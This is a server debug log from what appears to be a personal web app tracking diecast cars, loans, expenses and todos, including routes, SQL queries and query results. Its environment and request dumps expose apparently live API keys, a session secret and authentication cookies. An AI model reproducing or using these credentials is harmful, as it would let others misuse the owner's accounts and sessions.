    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?series=86',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'i',
    cookie: 'userID=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMyIsImlhdCI6MTc4NDYxMzgyOC4yODMyMTUsImV4cCI6MTc4NTIxODYyOC4yODMyMzh9.vSbFGRs2ovzsZUcUpLDkQOfyxuOCJ-Bi5s9DaHdw7L4; security.auth=s%3AwpRtlzKS9LBmSnSOMOMLnw%3D%3D.%2BKSaUuc%2FDWTb8yU%2F6QFPAmOdQv3WFeC3tEHlL1LT6sE5WLscwo60eF%2BAfeEU440ZVTJsGYw0CDeV1bBgmoymjrub9Wu%2F7%2FGbqEvWr55sNN%2BYf9HGvmuYJbNsrp8WZFFlWjiaJnhuZIR5IV9bWQhiec7uiCAirgoJ8BAD1uKk8bY%3D.E9%2BeLoUDLPqOLKYSBytp7vKYzPmz2pPOeoX3IEOO%2FnM; your_r_git.sid=s%3AiOgGMd8HpXh3s0Or3qmSG942OsfREkAo.hzOqt%2BvQ4Ohgzm3K66xa5gNlXhDeJ5v6yiHDvWVUKZI',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {
    userID: 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMyIsImlhdCI6MTc4NDYxMzgyOC4yODMyMTUsImV4cCI6MTc4NTIxODYyOC4yODMyMzh9.vSbFGRs2ovzsZUcUpLDkQOfyxuOCJ-Bi5s9DaHdw7L4'
  },
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-22T13:02:50.698Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?series=86',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'userID=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMyIsImlhdCI6MTc4NDYxMzgyOC4yODMyMTUsImV4cCI6MTc4NTIxODYyOC4yODMyMzh9.vSbFGRs2ovzsZUcUpLDkQOfyxuOCJ-Bi5s9DaHdw7L4; security.auth=s%3AwpRtlzKS9LBmSnSOMOMLnw%3D%3D.%2BKSaUuc%2FDWTb8yU%2F6QFPAmOdQv3WFeC3tEHlL1LT6sE5WLscwo60eF%2BAfeEU440ZVTJsGYw0CDeV1bBgmoymjrub9Wu%2F7%2FGbqEvWr55sNN%2BYf9HGvmuYJbNsrp8WZFFlWjiaJnhuZIR5IV9bWQhiec7uiCAirgoJ8BAD1uKk8bY%3D.E9%2BeLoUDLPqOLKYSBytp7vKYzPmz2pPOeoX3IEOO%2FnM; your_r_git.sid=s%3AiOgGMd8HpXh3s0Or3qmSG942OsfREkAo.hzOqt%2BvQ4Ohgzm3K66xa5gNlXhDeJ5v6yiHDvWVUKZI',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-07-21T13:03:30.545Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-21T13:03:30.545Z server-connect:app Executing action step identify
2026-07-21T13:03:30.545Z server-connect:app options: { provider: 'security' }
2026-07-21T13:03:30.545Z server-connect:output identity: 1
2026-07-21T13:03:30.545Z server-connect:app Executing action step restrict
2026-07-21T13:03:30.545Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-21T13:03:30.546Z server-connect:output restrict: undefined
2026-07-21T13:03:30.546Z server-connect:app Executing action step paged
2026-07-21T13:03:30.546Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-07-21T13:03:30.549Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 22,
      model_name: 'Jaguar XJC V12 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Wide Widebody',
      brand_id: 71,
      series_id: 104,
      case: 'N',
      vehicle_brand_name: 'Jaguar',
      vehicle_brand_id: 133,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-07-21T13:03:37.518Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-21T13:03:37.700Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-21T13:03:37.782Z server-connect:setup:upload Upload middleware configured.
2026-07-21T13:03:37.783Z server-connect:secure CSRF Protection initialized
2026-07-21T13:03:37.785Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-21T13:03:37.785Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-21T13:03:37.785Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-21T13:03:37.786Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-21T13:03:37.786Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-21T13:03:37.787Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-21T13:03:37.789Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-21T13:03:37.790Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-21T13:03:37.791Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-21T13:03:37.791Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-21T13:03:37.791Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-21T13:03:37.792Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-21T13:03:37.792Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-21T13:03:37.793Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-21T13:03:37.793Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-21T13:03:37.796Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-21T13:03:37.796Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-21T13:03:37.796Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-21T13:03:37.797Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-21T13:03:37.797Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-21T13:03:37.797Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-21T13:03:37.798Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-21T13:03:37.798Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-21T13:03:37.798Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-21T13:03:37.798Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-21T13:03:37.799Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-21T13:03:37.799Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-21T13:03:37.799Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-21T13:03:37.799Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-21T13:03:37.800Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-21T13:03:37.800Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-21T13:03:37.800Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-21T13:03:37.800Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-21T13:03:37.800Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-21T13:03:37.800Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-21T13:03:37.801Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-21T13:03:37.801Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-21T13:03:37.801Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-21T13:03:37.925Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-21T13:03:37.928Z server-connect:app Executing action step identify
2026-07-21T13:03:37.928Z server-connect:app options: { provider: 'security' }
2026-07-21T13:03:37.930Z server-connect:output identity: 1
2026-07-21T13:03:37.930Z server-connect:app Executing action step restrict
2026-07-21T13:03:37.930Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-21T13:03:37.933Z server-connect:output restrict: undefined
2026-07-21T13:03:37.933Z server-connect:app Executing action step paged
2026-07-21T13:03:37.934Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-07-21T13:03:37.945Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 6,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-07-21T16:11:47.727Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-21T16:11:49.999Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-21T16:11:50.862Z server-connect:setup:upload Upload middleware configured.
2026-07-21T16:11:50.862Z server-connect:secure CSRF Protection initialized
2026-07-21T16:11:50.867Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-21T16:11:50.868Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-21T16:11:50.871Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-21T16:11:50.872Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-21T16:11:50.879Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-21T16:11:50.882Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-21T16:11:50.898Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-21T16:11:50.910Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-21T16:11:50.917Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-21T16:11:50.917Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-21T16:11:50.918Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-21T16:11:50.922Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-21T16:11:50.928Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-21T16:11:50.937Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-21T16:11:50.940Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-21T16:11:51.013Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-21T16:11:51.014Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-21T16:11:51.020Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-21T16:11:51.025Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-21T16:11:51.029Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-21T16:11:51.034Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-21T16:11:51.040Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-21T16:11:51.043Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-21T16:11:51.048Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-21T16:11:51.050Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-21T16:11:51.054Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-21T16:11:51.056Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-21T16:11:51.058Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-21T16:11:51.064Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-21T16:11:51.066Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-21T16:11:51.068Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-21T16:11:51.070Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-21T16:11:51.075Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-21T16:11:51.075Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-21T16:11:51.081Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-21T16:11:51.085Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-21T16:11:51.087Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-21T16:11:51.097Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-21T20:53:42.992Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-21T20:53:45.262Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-21T20:53:46.126Z server-connect:setup:upload Upload middleware configured.
2026-07-21T20:53:46.127Z server-connect:secure CSRF Protection initialized
2026-07-21T20:53:46.133Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-21T20:53:46.133Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-21T20:53:46.135Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-21T20:53:46.137Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-21T20:53:46.144Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-21T20:53:46.148Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-21T20:53:46.162Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-21T20:53:46.174Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-21T20:53:46.178Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-21T20:53:46.181Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-21T20:53:46.181Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-21T20:53:46.189Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-21T20:53:46.194Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-21T20:53:46.203Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-21T20:53:46.208Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-21T20:53:46.280Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-21T20:53:46.281Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-21T20:53:46.285Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-21T20:53:46.292Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-21T20:53:46.296Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-21T20:53:46.296Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-21T20:53:46.304Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-21T20:53:46.307Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-21T20:53:46.313Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-21T20:53:46.316Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-21T20:53:46.319Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-21T20:53:46.322Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-21T20:53:46.322Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-21T20:53:46.330Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-21T20:53:46.330Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-21T20:53:46.332Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-21T20:53:46.336Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-21T20:53:46.339Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-21T20:53:46.339Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-21T20:53:46.346Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-21T20:53:46.351Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-21T20:53:46.351Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-21T20:53:46.362Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-21T20:53:46.853Z server-connect:router Serving templateView /
2026-07-21T20:53:46.897Z server-connect:app Executing action step identify
2026-07-21T20:53:46.897Z server-connect:app options: { provider: 'security' }
2026-07-21T20:53:46.910Z server-connect:auth No login cookie found
2026-07-21T20:53:46.910Z server-connect:output identity: false
2026-07-21T20:53:46.910Z server-connect:app Executing action step restrict
2026-07-21T20:53:46.910Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
